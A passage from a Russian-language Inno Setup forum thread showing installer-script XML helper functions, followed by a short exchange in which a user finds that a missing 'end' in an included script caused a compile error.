    Result:= GetExists(Tags);
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringGetSubkeys(sFileText: XMLString; sTagName: String; var Data: TArrayOfString): Boolean;
var
  Tags: array of TTagPoint;
  tmp: String;
  i, k, n: Integer;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    if GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      if Tags[i].IsSingle then Exit;
      tmp:= copy(sFileText, Tags[i].BeginPosII+1, Tags[i].EndPosI-Tags[i].BeginPosII-1);
      repeat
        k:= Pos('<', tmp);
        if k<=0 then Break;
        if k<>1 then Delete(tmp, 1, k-1);
        i:= Length(tmp);
        k:= 2;
        while (k<=i)and(tmp[k]<>' ')and(tmp[k]<>'>') do k:=k+1;
        n:= GetArrayLength(Data);
        SetArrayLength(Data, n+1);
        Data[n]:= copy(tmp, 2, k-2);
        k:= Pos('</'+Data[n]+'>', tmp);
        while (k<=i)and(tmp[k]<>'>') do k:=k+1;
        Delete(tmp, 1, k);
      until tmp='';
    end;
    Result:= GetArrayLength(Data)>0;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringGetTagParam(sFileText: XMLString; sTagName, sParamName: String; var Data: String): Boolean;
var
  Tags: array of TTagPoint;
  tmp: String;
  i, k, n: Integer;
begin
  Result:= False;
  Data:= '';
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    if GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      tmp:= Copy(sFileText, Tags[i].BeginPosI, tags[i].BeginPosII-Tags[i].BeginPosI+1);
      Delete(tmp, 1, Pos(' ', tmp));
      i:= Pos(AnsiLowercase(sParamName)+'=', AnsiLowercase(tmp));
      if i>0 then begin
        while tmp[i]<>'"' do i:= i+1;
        k:= i+1;
        while tmp[k]<>'"' do k:=k+1;
        n:= k-i-1;
        if n<>0 then begin
          Data:= Utf8ToAnsi(Copy(tmp, i+1, n));
          Result:= True;
        end;
      end;
    end;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringSetTagParam(var sFileText: XMLString; sTagName, sParamName, sParamValue: String): Boolean;
var
  Tags: array of TTagPoint;
  tmp, tmp2: String;
  i, k, n, c, d: Integer;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    if GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      tmp:= Copy(sFileText, Tags[i].BeginPosI, Tags[i].BeginPosII-Tags[i].BeginPosI+1);
      k:= Pos(AnsiLowercase(sParamName)+'=', AnsiLowercase(tmp));
      if k>0 then begin
        while tmp[k]<>'"' do k:= k+1;
        n:= k+1;
        while tmp[n]<>'"' do n:= n+1;
        c:= Tags[i].BeginPosI+k-1;
        d:= Tags[i].BeginPosI+n-1;
        tmp2:= AnsiToUtf8(sParamValue);
      end else begin
        tmp2:= ' '+AnsiToUtf8(sParamName+'="'+sParamValue+'"');
        if (not Tags[i].IsSingle) then begin
          d:= Tags[i].BeginPosII;
          c:= Tags[i].BeginPosII-1;
        end else begin
          d:= Tags[i].EndPosI;
          c:= Tags[i].EndPosI-1;
        end;
      end;
      sFileText:= Copy(sFileText, 1, c)+tmp2+Copy(sFileText, d, Length(sFileText));
      Result:= true;
    end;
  end;
  SetArrayLength(Tags, 0);
end;

function XMLStringDeleteTagParam(var sFileText: XMLString; sTagName, sParamName: String): Boolean;
var
  Tags: array of TTagPoint;
  tmp: String;
  i, k, n, c: Integer;
begin
  Result:= False;
  if sFileText <> '' then begin
    Tags:= ExpandTags(sFileText, sTagName);
    if GetExists(Tags) then begin
      i:= GetArrayLength(Tags)-1;
      tmp:= copy(sFileText, Tags[i].BeginPosI, Tags[i].BeginPosII-Tags[i].BeginPosI+1);
      k:= Pos(AnsiLowercase(sParamName), AnsiLowercase(tmp));
      if k>0 then begin
        c:= k;
        while tmp[c]<>'"'do c:=c+1;
        c:=c+1;
        while tmp[c]<>'"'do c:=c+1;
        if (tmp[k-1]=' ')and(tmp[c+1]=' ') then c:=c+1;
        k:= Tags[i].BeginPosI+k-1;
        n:= Tags[i].BeginPosI+c;
        sFileText:= Copy(sFileText, 1, k-1)+Copy(sFileText, n, Length(sFileText));
        Result:= true;
      end;
    end;
  end;
  SetArrayLength(tags, 0);
end;

function XMLFileChangeValue(sFileName, sTagName, sTagParam: string): Boolean;
var
  sFileText: XMLString;
begin
  LoadStringFromFile(sFilename, sFileText);
  Result:= XMLStringChangeValue(sFileText, sTagName, sTagParam);
  if Result then
    SaveStringToFile(sFileName, sFileText, False);
  SetLength(sFileText, 0);
end;

function XMLFileWriteValue(sFileName, sTagName, sTagType, sTagParam: string; IsSingleTag: Boolean): Boolean;
var
  sFileText: XMLString;
begin
  If not FileExists(sFilename) then
    sFileText:= ''
  else
    LoadStringFromFile(sFileName, sFileText);
  Result:= XMLStringWriteValue(sFileText, sTagName, sTagType, sTagParam, IsSingleTag);
  if Result then
    SaveStringToFile(sFilename, sFileText, False);
  SetLength(sFileText, 0);
end;

function XMLFileReadValue(sFileName, sTagName: string; var sData: string): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFileName, sFileText) then
    Result:= XMLStringReadValue(sFileText, sTagName, sData);
  SetLength(sFileText, 0);
end;

function XMLFileDeleteValue(sFileName, sTagName: string): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFileName, sFileText) then
    Result:= XMLStringDeleteValue(sFileText, sTagName);
  if Result then
    SaveStringToFile(sFileName, sFileText, False);
  SetLength(sFileText, 0);
end;

function XMLFileKeyExists(sFileName, sTagName: String): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFilename, sFileText) then
    Result:= XMLStringKeyExists(sFileText, sTagName);
  SetLength(sFileText, 0);
end;

function XMLFileGetSubkeys(sFileName, sTagName: String; var Data: TArrayOfString): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFilename, sFileText) then
    Result:= XMLStringGetSubkeys(sFileText, sTagName, Data);
  SetLength(sFileText, 0);
end;

function XMLFileGetTagParam(sFilename, sTagName, sParamName: String; var Data: String): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFilename, sFileText) then
    Result:= XMLStringGetTagParam(sFileText, sTagName, sParamName, Data);
  SetLength(sFileText, 0);
end;

function XMLFileSetTagParam(sFilename, sTagName, sParamName, sParamValue: String): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFilename, sFileText) then
    Result:= XMLStringSetTagParam(sFileText, sTagName, sParamName, sParamValue);
  if Result then
    SaveStringToFile(sFileName, sFileText, False);
  SetLength(sFileText, 0);
end;

function XMLFileDeleteTagParam(sFilename, sTagName, sParamName: String): Boolean;
var
  sFileText: XMLString;
begin
  Result:= False;
  if LoadStringFromFile(sFilename, sFileText) then
    Result:= XMLStringDeleteTagParam(sFileText, sTagName, sParamName);
  if Result then
    SaveStringToFile(sFileName, sFileText, False);
  SetLength(sFileText, 0);
end;

#endif 

Edited by asterix93

Share this post


Link to post

Short link
Share on other sites

@asterix93, тогда проверяй последний подключаемый скрипт, перед ConfigEditor.iss. Там и найдёшь ошибку (вангую: end пропущен).

Edited by Kotyarko_O

Share this post


Link to post

Short link
Share on other sites

@asterix93, тогда проверяй последний подключаемый скрипт, перед ConfigEditor.iss. Там и найдёшь ошибку (вангую: end пропущен).

мда ата праблема была (ух как я тормоз) :heh:  :heh:  :heh:  :gawi:  :no1:  :thx:

Edited by asterix93

Share this post


Link to post

Short link
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...